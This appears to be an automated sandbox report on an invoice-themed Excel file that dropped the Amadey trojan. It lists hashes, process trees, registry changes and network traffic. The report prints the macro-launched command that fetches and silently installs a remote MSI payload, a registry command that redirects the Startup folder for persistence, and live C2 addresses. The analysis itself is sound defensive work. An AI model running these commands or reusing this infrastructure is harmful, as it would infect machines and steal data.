Malware analysis DDA56A32_Factura_FMC7736_20190424.xls Malicious activity

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File name:	DDA56A32_Factura_FMC7736_20190424.xls
Full analysis:	https://app.any.run/tasks/2cde5171-6d1b-4641-b07c-30cc2b97175e
Verdict:	Malicious activity
Threats:	Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	April 25, 2019, 14:45:43
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open trojan amadey exe-to-msi ta505
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Wed Apr 24 15:32:18 2019, Security: 0
MD5:	F04ECA1CF8A93F8CA7FFF0E976036E02
SHA1:	3FD6114E6D5A6792CC5E8EB587DBD5E106A5B60A
SHA256:	559210D28DCBFF8517F3BDDDC8E298D188D543785ADC9FDF96CED005A29B72BA
SSDEEP:	1536:hKpb8rGYrMPelwhKmFV5xtezEsgrdg7pUQjSKhLfo0/Jt4jeJ32RLEQfz1Wr:hKpb8rGYrMPelwhKmFV5xtezEsgrdg7N

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 240 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 180 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 612)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 612)
- Changes the Startup folder
  - REG.exe (PID: 1824)
- Application was dropped or rewritten from another process
  - cmualrc.exe (PID: 3280)
- AMADEY was detected
  - cmualrc.exe (PID: 3280)
- Connects to CnC server
  - cmualrc.exe (PID: 3280)
SUSPICIOUS
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 3908)
  - MSI7398.tmp (PID: 3568)
- Drop ExeToMSI Application
  - msiexec.exe (PID: 3908)
- Creates files in the program directory
  - MSI7398.tmp (PID: 3568)
- Uses REG.EXE to modify Windows registry
  - cmualrc.exe (PID: 3280)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 612)
- Writes to a desktop.ini file (may be used to cloak folders)
  - msiexec.exe (PID: 3908)
- Starts application with an unusual extension
  - msiexec.exe (PID: 3908)
- Application was dropped or rewritten from another process
  - MSI7398.tmp (PID: 3568)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author:	Microsoft Office
LastModifiedBy:	1
Software:	Microsoft Excel
CreateDate:	2018:12:19 10:42:12
ModifyDate:	2019:04:24 14:32:18
Security:	None
CodePage:	Windows Cyrillic
Company:	Microsoft Corporation
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	4 OOOO 2 3
HeadingPairs:	Листы 2 Макросы Excel 4.0 2

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

612

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

1720

msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'

C:\Windows\system32\msiexec.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

1824

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\f64a428dfd

C:\Windows\system32\REG.exe

cmualrc.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Registry Console Tool

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3280

c:\programdata\f64a428dfd\cmualrc.exe

MSI7398.tmp

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\programdata\f64a428dfd\cmualrc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3568

"C:\Windows\Installer\MSI7398.tmp"

C:\Windows\Installer\MSI7398.tmp

msiexec.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\windows\installer\msi7398.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3908

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

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Total events

717

Read events

653

Write events

Delete events

Modification events


(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	8y5
Value: 3879350064020000010000000000000000000000
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 64020000FC8A5A9A75FBD40100000000
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	8y5
Value: 3879350064020000010000000000000000000000
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(612) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\E5F62
Operation:	write	Name:	E5F62
Value: 04000000640200004700000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00440044004100350036004100330032005F0046006100630074007500720061005F0046004D00430037003700330036005F00320030003100390030003400320034002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000907C009C75FBD401625F0E00625F0E0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
612	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR5918.tmp.cvr		—
		MD5:—	SHA256:—
3908	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF263118D696BCAC3A.TMP		—
		MD5:—	SHA256:—
3908	msiexec.exe	C:\Windows\Installer\MSI728D.tmp		—
		MD5:—	SHA256:—
3908	msiexec.exe	C:\Windows\Installer\MSI7398.tmp		—
		MD5:—	SHA256:—
3568	MSI7398.tmp	C:\ProgramData\0		—
		MD5:—	SHA256:—
3568	MSI7398.tmp	C:\programdata\f64a428dfd\cmualrc.exe:Zone.Identifier		—
		MD5:—	SHA256:—
3908	msiexec.exe	C:\Config.Msi\e7201.rbs		—
		MD5:—	SHA256:—
3908	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF0E5F8E03107A2C27.TMP		—
		MD5:—	SHA256:—
3280	cmualrc.exe	C:\ProgramData\0		—
		MD5:—	SHA256:—
3908	msiexec.exe	C:\Windows\Installer\MSI6FBD.tmp		executable
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3280	cmualrc.exe	POST	200	80.99.221.105:80	http://gohaiendo.com/ppk/index.php	HU	text	6 b	malicious
3280	cmualrc.exe	POST	200	80.99.221.105:80	http://gohaiendo.com/ppk/index.php	HU	text	6 b	malicious
3280	cmualrc.exe	POST	200	80.99.221.105:80	http://gohaiendo.com/ppk/index.php	HU	text	6 b	malicious
3280	cmualrc.exe	POST	200	5.56.73.146:80	http://gohaiendo.com/ppk/index.php	MD	text	6 b	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3908	msiexec.exe	109.234.38.177:80	—	Webzilla B.V.	RU	suspicious
—	—	80.99.221.105:80	gohaiendo.com	Liberty Global Operations B.V.	HU	malicious
3280	cmualrc.exe	80.99.221.105:80	gohaiendo.com	Liberty Global Operations B.V.	HU	malicious
3280	cmualrc.exe	5.56.73.146:80	gohaiendo.com	Moldtelecom SA	MD	malicious

DNS requests

Domain	IP	Reputation
gohaiendo.com	80.99.221.105 194.204.25.137 37.107.73.98 62.73.70.146 79.100.159.26 86.106.200.105 213.164.242.16 196.20.111.10 193.33.1.18 2.91.135.36 5.56.73.146 193.107.99.167 66.181.168.248 212.98.131.181 181.39.233.180 213.176.4.248 93.103.166.70 188.254.186.158 109.199.157.158	malicious

Threats

PID	Process	Class	Message
3908	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3908	msiexec.exe	Potential Corporate Privacy Violation	POLICY [PTsecurity] Executable application_x-msi Download
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3280	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey

5 ETPRO signatures available at the full report

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No debug info

General Info

DDA56A32_Factura_FMC7736_20190424.xls

F04ECA1CF8A93F8CA7FFF0E976036E02

3FD6114E6D5A6792CC5E8EB587DBD5E106A5B60A

559210D28DCBFF8517F3BDDDC8E298D188D543785ADC9FDF96CED005A29B72BA

1536:hKpb8rGYrMPelwhKmFV5xtezEsgrdg7pUQjSKhLfo0/Jt4jeJ32RLEQfz1Wr:hKpb8rGYrMPelwhKmFV5xtezEsgrdg7N

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Uses Microsoft Installer as loader

Unusual execution from Microsoft Office

Changes the Startup folder

Application was dropped or rewritten from another process

AMADEY was detected

Connects to CnC server

SUSPICIOUS

Executable content was dropped or overwritten

Drop ExeToMSI Application

Creates files in the program directory

Uses REG.EXE to modify Windows registry

INFO

Reads Microsoft Office registry keys

Writes to a desktop.ini file (may be used to cloak folders)

Starts application with an unusual extension

Application was dropped or rewritten from another process

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings